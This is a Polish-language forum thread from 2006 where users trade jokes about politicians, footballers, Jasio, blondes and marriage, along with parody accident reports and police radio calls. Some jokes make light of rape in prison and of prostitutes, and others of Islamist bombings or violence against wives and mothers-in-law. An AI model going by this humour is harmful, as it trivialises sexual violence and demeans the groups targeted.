"Chwat rybka" - pomyślał. "Widać, że bogaty jestem, ubrany dobrze i biuro pięknie urządzone. Ale kim ona mnie zrobiła? Przecież nie urzędnikiem?" Zagląda do listów Wołodia, a tu, pierwszy od kobiety, i drugi, i trzeci. I wszystkie piszą, że go kochają i wszystkie mu dobrze życzą. I od mężczyzn też są listy. I czyta Wołodia, że go szanują, że podziwiają. O radę go proszą. "No no no". myśli " To ci rybki czary. Znaczy nie byle kto teraz jestem, na pewno zrobiła mnie kimś ważnym, ale kim? " Wziął kolejny list do ręki, patrzy... Urzędowe pismo, a na nim tłustymi literami napis "Urząd Skarbowy". Przestraszył się. "No tak, nie mogła się ta beczka miodu bez łyżki dziegciu obyć" - skrzywił się Wołodia. "Nic to, zobaczmy czego chcą". I czyta: - Wielce szanowny, kochany ojcze Tadeuszu, uprzejmie donoszę...

---------------

Kto to jest harcerz? - Harcerz jest to dziecko przebrane za idiotę pod opieką idioty przebranego za dziecko.

maczaty - 07-05-2006, 11:00

Sorry jeśli recydywię (a nawet gdyby, to w zacnym towarzystwie ;-)) :

Mówi żona do męża informatyka:
- Poznajesz człowieka na fotografii?
- Tak.
- OK, dzisiaj o 16.00 odbierzesz go z przedszkola.

:22:

IRA - 08-05-2006, 13:07

Jedzie facet na rowerze i oderwał mu się pedał.Mały Jasio łapie go do ręki i beignie za kolesiem i woła:
-Peeeedaaałłłłł!!!!!!!!!!! Peedaaaaaaaaaaaaał!!!!!!!
Facet się odwraca i z uœmiechem mówi:
-Ohh ty mój mały psychologu......

________________________________

Ojciec do syna:
- Ty masz dopiero 15 lat i już palisz?! Ja w twoim wieku...a zresztĹĄ, pal sobie.

________________________________

-Co to jest: 300 nóg i 7 zębów?
-Pierwszy rzĹĄd na kampanii wyborczej Samoobrony.




Mecz Polska - Brazylia.
Pilkarze Brazyli wchodza do szatni. Patrza - a tam tylko jedna koszulka dla Ronaldinho. No to mowia mu - "Ronaldinho, dobra bedziesz gral sam". Reszta druzyny poszla do pubu na piwo..
Ronaldinho sam bez bramkarza niezle sie spisywal...
Reszta druzyny w pubie po jakims czasie wlaczyla telegazete zeby zobaczyc jaki wynik - 0:1 dla brazyli (34' Ronaldinho :) no to sie ciesza... jakis czas pozniej patrza a tam koniec meczu i wynik 1:1 (83' Rasiak).
Nastepnego dnia spotykaja sie z Ronaldinho i mowia:
- Ej, stary, czemu strzelili ci bramke? Przeciez tak dobrze ci szlo...?
- No wiecie panowie - odpowiada Ronaldinho - w 46' dostalem czerwona kartke...



> - Tato, a kto to jest alkoholik?
> -Widzisz synu te cztery brzozy? Alkoholik widzi osiem.
> - Tato, ale tam sĹĄ dwie...
>


> Dwóch starszawych jegomoœciów gawędzi o seksie:
> - Nadal mogę dwukrotnie!!!
> - A który raz sprawia ci największ? przyjemnoœć?
> - Myœlę, że ten zimĹĄ.




Do znakomitego lekarza specjalisty przychodzĹĄ rodzice pewnego młodego człowieka i biadolĹĄ:
- Panie doktorze, nie możemy odciĹĄgnĹĄć syna od komputera.
- No cóż - wyrokuje lekarz - trzeba będzie go leczyć.
- Ale czym?
- Normalnie! Dziewczętami, papierosami, piwem...

________________________________

Na przyjęciu chłopak pyta blondynke:
- Czy mogę prosić do walca?
- Zgłupiałeœ? To już nie miałeœ czym przyjechac?
________________________________

- Słyszałem, że twoja żona rozbiła twojego nowego mercedesa. Stało jej się coœ?
-Jeszcze nie, zamknęła się w łazience...

________________________________

Ile trwa jedna minuta ???
- zależy po której stronie drzwi od kibla się stoi !!!
________________________________

Siedzi Pan Jezus przed krzyżem i pali fajki. Podbiega apostoł:
- Jezu ... turyœci!
Jezus gasi szybko papierosa, rozkłada ręce i mówi:
- Przybijaj!
________________________________

Wisła ma właœciwoœci cudownego Ÿródła. Kto się napije z jej wód, nie zazna staroœci.
________________________________

To był wiersz "Noce z Edmundem w szopie pod Dortmundem" z cyklu "Przyczyny awarii w œrodkowej Bawarii", będĹĄcego częœciĹĄ tryptyku "Hans und Helmut trinken wermut".

________________________________

Seks to męska gra. Kto pierwszy skończy, ten wygrywa.
________________________________

Wyœlij głupka po flaszkę, to przyniesie jednĹĄ ….

maczaty - 08-05-2006, 14:28

IRA napisał/a:
-Co to jest: 300 nóg i 7 zębów?
-Pierwszy rząd na kampanii wyborczej Samoobrony.


Remake; warto przytoczyć klasyka:

Q Co to jest: 4 nogi i 100 zębów?
A Krokodyl.
Q Co to jest: 4 zęby i 100 nóg?
A Zjazd ZBoWiD-u.

:22:

PS Nie wiem, czy teraz o tym uczą w szkołach, więc link zapodałem dla użytkowników w wieku przedzbowidowym. ;)

IRA - 08-05-2006, 16:01

- Szefie, zona prosi pana do telefonu.
- Prosi? To pomylka.


* * *
- Genek kochales sie kiedys w troje?
- Nigdy!
- To zasuwaj szybko do domu!


Motto lekarzy pogotowia ratunkowego:
Im pozniej przyjedziesz, tym trafniejsza diagnoza.


Sprzatajac mieszkanie, zona sobie spiewa. Nagle staje przy niej rozezlony maz i burczy:
- Moglas mi powiedziec, ze bedziesz spiewala!! Od pol godziny smaruje zawiasy przy ogrodowej furtce!


Zdrowy sen nie tylko przedluza zycie, ale i skraca dzien roboczy.


* * *
- Jak wyglada prosba do Boga, faceta po 70-tce?
- Odebrales; Boze sily, to odbierz i checi!

* * *

Szanse na dozgonna milosc bardzo rosna z wiekiem.

* * *

- Tato, moge sprobowac skokow bungee?
- Lepiej nie synku, o ile sobie przypominam, od samiuskiego poczatku przesladowaly cie wypadki z guma.

* * *
- Tylko eksplozja dobra moze odmienic swiat- zaapelowal papiez Benedykt XVI.
- Eksplozja? Dobra! - odpowiedzieli islamisci.

Anja - 08-05-2006, 16:20

maczaty napisał/a:
Nie wiem, czy teraz o tym uczą w szkołach, więc link zapodałem dla użytkowników w wieku przedzbowidowym


:lol:

malek - 09-05-2006, 15:05

Baco, a umiecie powiedzieć "chrząszcz brzmi w trzcinie" ?
- A co mom nie umieć !
- No to mówcie.
- Robok burcy w trowie.

Habibi - 10-05-2006, 11:54

Witaj Malek!!!!!

Dobry ten Baca z robokiem :lol: :lol: :lol: :lol:


Habibi :mrgreen: Georg Post

malek - 10-05-2006, 11:58

Habibi napisał/a:
Witaj Malek!!!!!

Dobry ten Baca z robokiem :lol: :lol: :lol: :lol:



ale surprise - witaj, choć to nie wątek powitalny :mrgreen:

IRA - 10-05-2006, 16:36

A słyszeliście że tylko Chuck Norris potrafi w Fifie 06 strzelić gola Rasiakiem ?
tsharny - 15-05-2006, 13:42

Byli sobie stary facet i baba. Pewnego dnia babie zachciało się seksić, no więc czyni zaloty, cuda nie widy, żeby zaciągnąć go do łóżka. A on nic.
No to baba idzie do lekarza, i mówi:
- Panie, doktorze, ja chcę a on nie. Co robić?!
- Spokojnie, mam na to sposób. Na minutę przed tym zanim pani mąż wróci do domu, niech pani zdejmie gacie stanie tyłem do drzwi, pochyli się i wypnie tyłek, a zaraz obudzi sie w nim dzikie seksualne zwierze. Inaczej być nie może!
No więc jak powiedział tak baba zrobiła. Wypięta czeka... no i w końcu styrany małżonek wraca z roboty, otwiera drzwi, patrzy i zapi^_^erdala ile sił w nogach do najbliższego baru. Przybiega, siada, zamawia setkę, pierwszą, drugą trzecią, itd.
Już dwie butelki poszły a on chce jeszcze, no to barman na to:
- Panie czemu pan tak pijesz, już trzecia butelka, no powiedz pan czemu?
- Panie! Ja wracam styrany do domu po całym dniu pracy, wchodzę na piętro, otwieram drzwi... a tam troll, metr na półtora, szrama na pół pyska, broda do kolan i mu z mordy ślina cieknie...

maczaty - 15-05-2006, 14:04

tsharny, zlituj się...
tsharny - 15-05-2006, 17:22

no dobra... już takich nie będzie...
IRA - 15-05-2006, 23:39

Do reprezentacji Polski trafil nowy Murzyn. Na pierwszej odprawie przed treningiem Pawel Janas

narysowal na tablicy wielki prostokat i zaczal uderzac w niego pilka.

- Pilka, rozumiesz? Bramka, tu, prostokat. Bramka, pilka do bramki to dobrze, rozumiesz?

Wstal nasz nowy Murzyn, lekko poszarzaly i odzywa sie do trenera Janasa:

- Panie trenerze, ja od kilkunastu lat mieszkam w Polsce, mam tu zone, dzieci a studiowalem

filologie polska i mowie w tym jezyku lepiej niz niejeden Polak!

Pawel Janas popatrzyl na niego ze zdumieniem i powiedzial:

- Siadaj synu, ja mowie do Rasiaka.

wrobel.cwirek - 16-05-2006, 08:41

tsharny napisał/a:
no dobra... już takich nie będzie...


dlaczego... lubie kawaly na poziomie :-D

dodaje: moze po prostu zrobmy oddzielny watek... :-)

dodaje2: jak by co to http://forum-nuras.com/viewtopic.php?t=9840 :-D

bann - 16-05-2006, 10:10

Na spacerniaku we więźniu w Białołęce rozmawia dwóch osadzonych:
- Stefan, ależ u was w pawilonie wczoraj wrzaski były. Kuźwa, kto się tak darł?
- Otóż, Klaudiuszu, zrobili my wczoraj taki skecz. Wzięli my jednego nowego, zdjęli my mu majtasy. Potem nagięli my łacno gostka i przystawili my jego dupę do celi homosiów-gwałcicieli. Drzwi leciutko uchylone...
- I co, młody się tak darł?
- Nie... Istotą skeczu jest szybkie zamknięcie drzwi w odpowiednim momencie.

[ Dodano: Wto 16 Maj, 2006 ]
Spotykają się dwaj koledzy. Jeden mówi do drugiego:
- Wiesz, nie mogę pozbyć się swojej teściowej! Próbuję, próbuję i ciągle
nic.
- Wiesz co? Kup jej samochód, pojeździ wpadnie w poślizg będzie miała
wypadek i po niej!
- No dobra.
Spotykają się kilka dni później:
- I co podziałało?!
- Nie! Jeździ ciągle i żyje!
- A co jej kupiłeś?
- No, malucha.
- Ale ty głupi jesteś, kup jej jaguara!
Spotykają się znów po kilku dniach:
- No i jak zadziałało!
- Nooo... A najlepsze było jak jej głowę odgryzał!

[ Dodano: Wto 16 Maj, 2006 ]
-Mamo.. czy ja jestem adoptowany?....
-Byłeś... ale cię oddali...

[ Dodano: Wto 16 Maj, 2006 ]
Wczoraj wieczorem Grzegorz Rasiak ustąpił miejsce w autobusie starszej pani. Trener podkreśla, że dawno nie widział, aby Drewnaldo walczył tak ambitnie i do końca.

Zanzara - 16-05-2006, 20:05

link do fajnej strony (może już znacie)
http://www.hoomor.pl/swf/motylek.html

tylko uwaga !!!! - niecenzuralne słownictwo

[ Dodano: 16-05-2006, 20:12 ]
i jeszcze jeden kawałek


wpada mąż do domu, po libacji z kolegami, która miała miejsce w klubie go-go lub innym, gdzie golusieńkie na scenie kręcą, napalony jako cholera. Już w przedpokoju zrzuca buty, spodnie i cała resztę i pędzi jak strzała do sypialni. Tam, szybko do łóżka, zrobił co miał zrobić z żoną, bo napalony był cholernie a że lekki kacuś no i kawał roboty odwalił to tak jakoś mu w ustach zaschło. Biegnie do kuchni a tam.... zona przy stole gazetę czyta.
- a ty..... to.... co tu ten tego....
- a nic, spac nie mogłam
Przerażony, włosy najeżone, cholera... Pędem do sypialni, włącza światło a tu... w łożu teściowa siedzi i figlarnie włosy na palcu kręci, na twarzy rozkosz jeszcze wymalowana
- to ja... tak .... ten.... no tego.... z mamusią?!!!???!?!??!
- taaaaak a co?
- to nie... mogła mama powiedzieć?
- no jak? przecież nie rozmawiamy ze sobą od roku

Garnett - 17-05-2006, 08:56

Co to jest PISIOR ????
PISIOR - to Prawo i Sprawiedliwość i Ojciec Rydzyk - czyli nasza
obecnie rządząca koalicja :)

*******************************************
W Iraku żołnierz amerykański i polski dyskutują sobie po służbie.
Amerykanin:
"Ok, we have George Bush but we have Stevie Wonder, Bob Hope and
Jonny Cash too!" Na co Polak:
"We have Kaczyński and... No Wonder, No Hope and No Cash..."

******************************************
Rząd obniżył VAT na kosmetyki.... .
zrobił to ze względu na pierwszą damę

******************************************
Idzie Stirlitz w przez las w ciemną, bezksiężycowa noc...
- Kaczyńscy tu byli - pomyślał.

*********************************************
- Czy można zgwałcić prostytutkę?
- Tak, ale tylko w samoobronie.
*******************************************

Nauczycielka przyłapuje Jasia w ubikacji na paleniu papierosów
- Jesteś dopiero w trzeciej klasie i nie wolno ci palić papierosów!
- A Andrzej Lepper jak był w trzeciej klasie to palił!
- Tak, ale miał już wtedy 18 lat!

*******************************************
Einstein pojawia się przy bramie do niebios. Św. Piotr stwierdza:
- Hmm... Wyglądasz jak Einstein, ale czy naprawdę nim jesteś? Nawet
nie wiesz, jak różnych metod ludzie próbują, żeby się tu prześlizgnąć.
- Mogę prosić kawałek kredy i tablicę?
Św. Piotr pstryknął palcami, pojawiła się tablica i kreda. Einstein zaczął
objaśniać zasady matematyki i fizyki, rysować na tablicy wykresy, itp.
- Ok, wierzę Ci, wchodź.
Następny był Picasso. Scena się powtarza, Picasso prosi o to samo co
Einstein. Otrzymuje tablicę i kredę - paroma maźnięciami kredy tworzy
surrealistyczny obraz.
- Na pewno jesteś Picassem, wchodź!
Po jakimś czasie do nieba przychodzi Lepper.
- Picasso i Einstein udowodnili kim są. W jaki sposób Ty możesz udowodnić?
- A kto to Picasso i Einstein?
- Wchodź, Andrzej!

Marcin_alien - 17-05-2006, 12:38

Dziewczyna z chłopakiem wpadli do pubu na parę drinków
Siedzą, dobrze się bawią i nagle kobieta zaczyna mówić o nowym drinku. Im
więcej o nim mówi, tym bardziej się podnieca i w końcu namawia
chłopaka, aby go skosztował. Chłopak się zgadza i pozwala, by zamówiła mu
tego drinka. Barman podaje drinka i umieszcza na stole następujące
składniki: solniczkę, kieliszek śmietankowego likieru Baileys oraz kieliszek
soku z limonki. Chłopak patrzy na składniki z głupią miną, więc dziewczyna
mu tłumaczy:
- Po pierwsze -sypiesz trochę soli na język, po drugie - wypijasz kieliszek
Baileysa i trzymasz w ustach, anastępnie zapijasz wszystko sokiem z
limonki."
Chłopak, pragnąc zadowolić dziewczynę, robi to, co mu kazała. Sypie sól na
język - słone, ale ok. Dalej idzie likier - gładki, aromatyczny, bardzo
przyjemny... Wporzo! W końcu bierze kieliszek z limonką... W pierwszej
sekundzie uderza go w podniebienie ostry smak soku z limonki, w drugiej
sekundzie Baileys się zwarza, w trzeciej - słono-zwarzono-gorzki smak daje mu
w przełyk. To wywołuje oczywiście odruch wymiotny, ale nie chcąc sprawić
dziewczynie przykrości przełyka z trudem. Kiedy udaje mu się
opanować, obraca się do dziewczyny. Ta uśmiecha się szczerze i szeroko.
- I jak Ci smakowało? Ten drink ma nazwę "Zemsta za Loda."
:alien:

tsharny - 17-05-2006, 12:44

RELACJE POWYPADKOWYCH KIEROWCÓW
Autentyczne wyjątki z opisów wypadków samochodowych sporządzonych przez kierowców w protokołach zgłoszeniowych PZU:

Byłem pewien, że ten stary człowiek nie dotrze na drugą stronę ulicy kiedy go stuknąłem.

Przechodzień nie miał żadnego pomysłu którędy uciekać, więc go przejechałem.

Mój samochód był prawidłowo zaparkowany w tyle innego samochodu.

Nagle znikąd pojawił się niewidoczny samochód, uderzył w mój samochód, po czym zniknął.

Nie pamiętam dokładnie okoliczności wypadku, ponieważ byłem kompletnie pijany. W celu uzyskania dalszych szczegółów proszę zwracać się do policji.

Jechałem do lekarza z chorym kręgosłupem, kiedy wypadł mi dysk, powodując wypadek.

Nie wiedziałem, że po północy też obowiązuje ograniczenie prędkości.

Dałem sygnał klaksonem, ale nie działał, ponieważ został skradziony.

Pośrednią przyczyną wypadku był mały człowieczek w małym samochodzie z dużą buzią.

Wracając do domu skręciłem omyłkowo we wjazd do innego domu i uderzyłem w drzewo, którego u mnie w tym miejscu nie ma.

W szybkim tempie zbliżał się do mnie słup telegraficzny. Zaczęłam jechać zygzakiem, ale i tak słup trafił mnie, uszkadzając chłodnicę.

Mój samochód uderzył w ogrodzenie, przekoziołkował i wyrżnął w drzewo. Wtedy straciłem panowanie nad kierownicą.

Jeszcze zanim na niego najechałem, byłem czemuś przekonany, że ten staruszek nie dotrze na drugą stronę ulicy.

Zobaczyłem smutną twarz z wolna przelatującą przed przednią szybą, a potem ten pan gruchnął na dach mojego samochodu.

Ten chłopak na drodze był jednocześnie wszędzie i nigdzie. Musiałem wiele razy skręcać, zanim w niego trafiłem.

Niewidzialny pojazd pojawił się znikąd, zderzył się ze mną i zniknął bez śladu.

Na skrzyżowaniu niespodziewanie dostałem ataku daltonizmu.

Moje auto jechało normalnie prosto przed siebie, co na zakręcie zazwyczaj doprowadza do opuszczenia szosy.

Zjechałem stromą uliczką do tyłu, przewróciłem murek i uszkodziłem pawilon. Nie mogłem sobie po prostu przypomnieć, gdzie jest pedał hamulca.

Jakiś pieszy nagle zszedł z chodnika i bez słowa zniknął pod moim samochodem.

malek - 17-05-2006, 12:50

Rozmowy Warszawskiej Policji



Niech jakiś wolny radiowóz pojedzie do parku. Lata tam jakaś goła baba. Tylko nie pojedźcie, tak jak ostatnio, wszyscy na raz!!!

Podjedz ul. Poselską, tam jakieś dzieciaki rzucają petardy. Wytłumacz im, gdzie mają sobie je wsadzić.


51, jak będziesz wolny, to podjedź do parku. Tam w krzakach jest jakaś para. Podejdź dyskretnie i posłuchaj, czy ta pani mówi, że jej dobrze, czy może krzyczy ratunku.

Jakiejś kobiecie wyrwali dziecko z wózka i bawią się w berka.

Przyślij mi tu grupę, bo na ulicy leży facet i wygląda, że mu coś strzeliło do głowy. Co takiego !? Nie znam się na tym, ale wygląda mi to na dwie kule kaliber 9mm.

Podjedź pod domy towarowe, tam czai się nasza obserwacja i biją ich chuligani. Trzeba im pomóc.

Na placu Zgody stoi czerwony Zaporożec z niemieckimi znakami bojowymi, zobacz co to jest.

Chciałbym przypomnieć, że nie wolno używać słów przez radiostację! To jak mam mówić?

Przed chwilą sprzed komisariatu skradziono radiowóz, oznakowany. Wygląda tak, jak każdy inny.

Jakiś nachlany łazi, samochodom w jeździe przeszkadza. Nadaj mu kierunek.

Ostrobramska przy P.C.O, na pasie zieleni leży. Tu trzeba trójek. ("trójki" - 3033 - policyjna Nyska do zbierania pijaków, zawozi ich do izby wytrzeźwień). Trójki? Tak, zgłaszam się. Podjedz i zabierz leżaczka do Betlejem. No cóż, taki los taksówki bagażowej...

Jagiellońska 42, mają gwałcić, zdążyła przedzwonić.

Przy mieszkaniu leży i śpiewa. Może artysta? Sprawdź, czy go do izby, czy na festiwal.

Podjedź, tam jest kolizja i winny jest, ale się nie zgadza, chce policji. Przynajmniej za 500. Zobacz tego pana i sprawdź, czy ma prawo jazdy. Pisz: 9 kwietnia, ul. Chałubińskiego, 1.5 promila, zabrane prawo jazdy i zaraz potem, w maju w Wołominie, 1.1 promila, zabrane drugie prawo jazdy. Może ma fabrykę?

Podaję komunikat za pojazdem: Mercedes pięćsetka, czarny, numer rejestracyjny XXXX, tym samochodem porusza się mafia z Wołomina. No, no, nie mów tak, oni maja lepszą łączność z nami niż my ze sobą.

Podjedź na Wiatraczną , tam jakiejś kobiecinie wybili szybę i sprawcy ponoć są w parku i ona ci wskaże. Wiatraczna w penetracji wynik negatywny.
Pouczono: do szklarza.

Kiedy wreszcie dowieziesz zatrzymanego do prokuratury? Tam czekają już 3 godziny!
Jak tylko pomocnik dowiezie mi benzynę tramwajem.
Gdzie stoisz ?
Nie wiem, nigdy tu nie byłem.

Przy Belwederskiej jest konkurs na najlepszego policjanta, bodajże z ruchu drogowego, tam są próby kierowania ruchem i korek się robi straszny.

:mrgreen:

qdlaty - 17-05-2006, 12:59

Wchodzi staruszek do konfesjonału i nawija:
- Mam 92 lata. Mam wspaniałą żonę, która ma 70 lat.
Mam dzieci,wnuki i prawnuki.Wczoraj podwoziłem samochodem trzy
nastolatki,
zatrzymalismy się w motelu i uprawiałem seks z wszystkimi trzema...
- Czy żałujesz, synu, tego grzechu?
- Jakiego grzechu?
- Co z Ciebie za katolik?
- Jestem żydem...
- To czemu mi to wszystko opowiadasz?
- Wszystkim opowiadam!!

Spaniel - 17-05-2006, 13:34

Reklama prezerwatyw w różnych krajach


Polska
Wkładamy do paczki 12 prezerwatyw bo w was wierzymy!

Anglia
Wkładamy do paczki 12 prezerwatyw, żebyście nie musieli przez najbliższy
rok martwić się o antykoncepcję.

Chiny
Wkładamy do paczki 12 prezerwatyw, proszę załóżcie choc jedną!!

Indie
Wkładamy do paczki 12 prezerwatyw - niech każde z waszych dzieci ma swój
balonik !

Hiszpania
Szanowne Panie. Wkładamy do paczki 12 prezerwatyw żeby starczyło dla
każdego waszego partnera dzisiaj

USA
Wkładamy do paczki 12 prezerwatyw, może choć jedną założycie prawidłowo...

Tajlandia
Wkładamy do paczki 12 prezerwatyw - pojemność kazdej wynosi około
50gramów. Przed połknięciem zawiązać na supeł.

Watykan
Wkładamy do paczki 12 prezerwatyw. Żebyście uniknęli skandalu.

Japonia
wyrzucamy z paczki 12 prezerwatyw - wszystkie spadają

Toruń edyszyn:
To nie jest 12 małych berecików z antenką

IRA - 17-05-2006, 14:26

Idzie facet ulica patrzy a tam strzalka z napisem: "Burdel U Sióstr
Urszulanek".

Hmmm, mysli facet, tego jeszcze nie bylo. Wszedl, a tam za ciezkim debowym
Biurkiem siedzi stara zakonnica I pyta:

- Czego chcial?
- N... No... skorzystac z, z, z U-U-uslug...
- Placi TU 500,- zl i idzie w te drzwi Po prawej.

Zaplacil i poszedl. A tam na koncu korytarza kolejna, juz mloda
zakonnica siedzi przy zwyczajnym biurku.

- Witam pana.
- Witam, chcialem...
- Tak, tak wiem, 300,- zl i drzwi po lewej.

Zaplacil, poszedl. I na koncu korytarza widzi nowicjuszka siedzi przy
stoliczku...

- Dzien dobry.
- Dzien dobry, chcialem skorzystac z uslug.
- Ach, tak... 100,- zl i te drzwi za mna.
OK, zaplacil, juz tyle wydal, to stówa go nie zbawi pomyslal. Wszedl, drzwi
sie zatrzasnely, a facet stoi na dworze, nie mozna juz wrócic, bo klamki z tej
strony nie ma... rozglada sie (nieco skolowany), a TU mala tabliczka z
Napisem:
"wlasnie zostales wyruchany przez siostry Urszulanki".

Habibi - 17-05-2006, 22:31

Ha,ha,ha,ha tego jeszcze nie slyszalem :lol: :lol: :lol: :lol:

Habibi :mrgreen: Georg Post

bann - 18-05-2006, 19:22

Piękna dama wychodzi na spacer w futrze i spotyka na ulicy ekoterrorystów z Greenpeace.
- Jak pani nie wstyd nosić futro zdarte z żywych norek?!
- To nie norki, to poliestry.
- A czy pani wie, ile poliestrów musiało oddać życie, żeby pani miała futro?!

[ Dodano: Czw 18 Maj, 2006 ]
Prezydent Kaczyński odwiedza wzorowe gospodarstwo rolne. Gdy znalazł
się w chlewni, pośród stada dorodnych swiń, towarzyszący grupie
oficjeli fotoreporterzy natychmiast strzelają fotki. Na to
Kaczyński: -Żeby mi tam nie było jakiegoś głupiego podpisu pod
zdjęcięm! Typu "Kaczka i świnie" czy coś takiego... -Ależ skąd panie
Prezydencie! - odpowiadają reporterzy.Wszystko będzie cacy.
Nazajutrz ukazuje się gazeta ze zdjęciem Kaczyńskiego wśród świń,
podpis: "Lech Kaczyński (trzeci od lewej)".

[ Dodano: Czw 18 Maj, 2006 ]
Jasio wysłał list do swoich dziadków. Dziadek czyta list babci na głos:
"Kochani dziadkowie, wczorej poszedłem pierwszy raz do szkoły i miałem
godzine wychowawczą. Wychowawczyni powiedziała, że musimy zawsze mówić
prawdę więc się Wam do czegoś przyznam. W te wakacje jak byłem u was to
zszedłem do piwnicy nasrałem do słoja z kompotem i odstawiłem z powrotem
na półke. Jasio"
Dziadek skończyl czytać, jebnął babkę w ryj i mówi:
- A mówiłem ci "Gówno"! Ale ty "zcukrzyło sie, zcukrzyło sie"!

apis77 - 18-05-2006, 19:42

Po Mistrzostwach świata w Korei i Japonii nasi zawodnicy leca do Polski. Sa bardzo przygnębieni, boją się reakcji kibiców. Dudek po puszczeniu czterech goli w meczu z Portugalią jest wręcz załamany. Idzie do księdza. ten mu poleca udanie się do zakonu i ukrywanie się przez przynajmniej kilka dni. Plan się udał. Nikt nie rozpoznał Jurka. Pewnego pięknego dnia golkiper stałna przystanku autobusowym w habicie. Nagle słyszy:
- siostro Dudek! - krzyknął ktoś zza pleców. - Dudek starał się nie patrzec w tamtą stronę. Nagle - siostro Dudek! - krzyknął ponownie. Jurek sobie mysli, że jak sie odwróci to go rozpoznajai bedzie kupa śmiechu. Nic. Ale on słyszy ponownie ten krzyk.
-No dobra - pomyslał wkurzony piłkarz i odwrócił się. A tam co? ujrzał iny habit zblizający się do niego.
- siostro Dudek, to ja siostra Hajto!

Tomek Radomski - 20-05-2006, 14:40

W szkole podstawowej była wizytacja - przyjechał pan z kuratorium. Pech chciał, że wybrał sobie lekcję języka polskiego w pierwszej klasie - w klasie, w której uczył się znany wszystkim Jasio. Lekcję prowadziła młodziutka, atrakcyjna polonistka w krótkiej spódniczce i obcisłej bluzeczce. Pan wizytator został posadzony w ostatniej ławce, razem z Jasiem, bo to było jedyne wolne miejsce. Zajęcia polegały na tym, że pani pisała na tablicy zdanie, a dzieci zgłaszały się do odczytania go na głos. W pewnym momencie podczas pisania pani upuściła kredę, schyliła się po nią, podniosła i pyta:
- Drogie dzieci, kto teraz przeczyta co napisałam??
Między innymi zgłosił się Jasio, który nie zwykł był zabierać głosu na lekcji. Pani widząc jego podniesioną rękę chciała dać mu szansę wykazania się i poprosiła go do odpowiedzi.
- Ale ma dupę. - powiedzial Jasio.
- Źle! Dwója! - krzyknęła pani momentalnie czerwieniejąc na twarzy.
W tym momencie Jasio obraca się do wizytatora i głosem pełnym oburzenia mówi:
- Jak się nie zna literków, to się nie podpowiada!

---------------------------------------------------------

W szkole na lekcji historii pani zadała dzieciom pytanie:
- Dzieci kto wie coś o Napoleonie?
Parę dzieci zgłosiło się, a wsród nich Jasiu. Pani nie dowierzała bo Jasiu zawsze taki spokojny, nigdy nie zgłaszajacy się - a teraz wręcz wyrywał sie do odpowiedzi. Więc pani mówi :
- No proszę Jasiu powiedz co wiesz o Napoleonie.
A Jasiu jednym tchem:
- Najtańszy napoleon jest w Czechach.

tsharny - 22-05-2006, 11:14

Po męczącym dniu, spracowany pszczelarz kładzie się do łóżka. Po chwili dobiega go głos żony:
- Kochanie, pobzykamy się?
- A jebnąć Ci ?!

Hamer - 22-05-2006, 13:17

Przychodzi Lech Kaczyński na wizytacje
do szkoły specjalnej. Wchodzi do klasy,
wychowawczyni klasy wita sie z prezydentem
i pyta dzieci:
-Wiecie kto dzisiaj do nas przyszedł??
Dzieci na to:
-NOWY!

bann - 22-05-2006, 21:03

Umarł ateista. Porządny był człowiek, ale umarł i było to dla niego bardzo
traumatyczne przeżycie. Tym bardziej, ze zupełnie nieoczekiwanie znalazł się w piekle. Przywitał go Diabeł. Ateista poczuł się nieswojo, ale Diabeł był bardzo konkretny:
- O, widzę, że Pan u nas nowy... To ja może oprowadzę, tu jest pański
apartament - Ateista patrzy, a tu pokoje na hektary, gustownie urządzone,
łóżko wodne, baldachimy, łazienka ogromna, bidety, klimatyzacja...
Diabeł dalej ciągnie:
- Jeśli Pan jest zmęczony i chce odpocząć, to proszę się nie krępować, jeśli Pan jednak sobie życzy, to oprowadzę Pana dalej...
Idą, a widoki przed nimi bardzo intrygujące, dyskretny luksus, przyjemna
muzyka, piękne kobiety, tu ktoś maluje obrazy, tam ktoś ćwiczy gimnastykę, przeszli koło olimpijskiego basenu, siłowni, dalej restauracje, drink bary... Ateista zaczyna się czuć dziwnie, idą dalej. Nagle dotarli do
pomieszczenia, przegrodzonego ścianą z bardzo grubego szkła pancernego.
Za szkłem - tortury, diabły smażą jakichś nieszczęśników w kotłach z wrzącą smołą, innych rozciągają, ćwiartują, wypruwają im flaki. Szyba tłumi dźwięki, ale przez skórę czuć, że nieszczęśnicy muszą krzyczeć wniebogłosy, na ich twarzach maluje się niewypowiedziane cierpienie. Ohyda, coś przeraźliwego. Ateista poczuł się wielce nieswojo, patrzy na te scenę za szybą, patrzy, zaczyna nerwowo drapać się po głowie i zezować na Diabła...
Diabeł wyczuł sytuację, macha ręką i mówi:
- ...a wie Pan, tym to się proszę zupełnie nie przejmować, to katolicy sobie
coś takiego wymyślili...

[ Dodano: Pon 22 Maj, 2006 ]
Ludzie sa jednak okrutni:

Do Dudka dzwoniła Krystyna z gazowni, żeby mu powiedzieć , że nie jedzie na mistrzostwa, a ona jedzie

Spaniel - 22-05-2006, 21:28

Akt I
Student Wyższej Szkoły Rolniczej ( może nawet SGGW) zdaje egzamin z
rogacizny.
Kiepsko mu idzie! W końcu profesor - równy i wesoły facet - mówi:
- Dam panu pytanie ostatniej szansy. Czy u kozy można przeprowadzić
aborcję? Niech pan odpowie tylko: tak czy nie?
- Nie wiem - wystękał student po dłuższej chwili.
- Niestety - rozkłada ręce profesor - muszę panu wpisać dwójkę...
Akt II
Siedzi biedny student w barze piwnym, kończy już trzecie i bije się
myślami:
- Jaki ja jestem głupi - powtarza po raz setny - przecież mogłem
strzelać. Może bym trafił...
Obserwuje go barman - taki z prawdziwego zdarzenia. Serce mu się kraje
na widok rozpaczy malującej się na
twarzy studenta. Podchodzi i pyta życzliwie:
- Widzę, że ma pan jakiś problem. Powiem panu, że niejeden klient
zwierzył mi się - taka już moja rola - i ulżyło mu.
Student spojrzał na barmana i wykrzyknął rozgorączkowanym głosem:
- No dobrze, niech mi pan powie, czy u kozy można przeprowadzić aborcję:
tak czy nie?
Barman znieruchomiał, pokręcił głową i patrząc ze współczuciem na
studenta, mówi:
- Wie pan, że nie wiem, ale wydaje mi się, że pan sobie cholernie życie
skomplikował...

wrobel.cwirek - 23-05-2006, 10:09

W wersji ktora znam jest na koncu
-Ale zes wpadl kolego...

[ Dodano: 23-05-2006, 10:17 ]
Jechał facet samochodem, a że samochód dobry, szybki to sobie nie żałował.
Mimo, że mokro, ślisko to na liczniku 150 km/h... 180 km/h... 220brkm/h...250
km/h..., aż tu nagle zakręt, za zakrętem furmanka. Nic się nie dało zrobić,
jedno wielkie rozpierdziu, z furmanki drzazgi, konie latają w powietrzu,
woźnicy urwało nogi. Zatrzymał się facet po tych kilkuset metrach, i patrzy, o
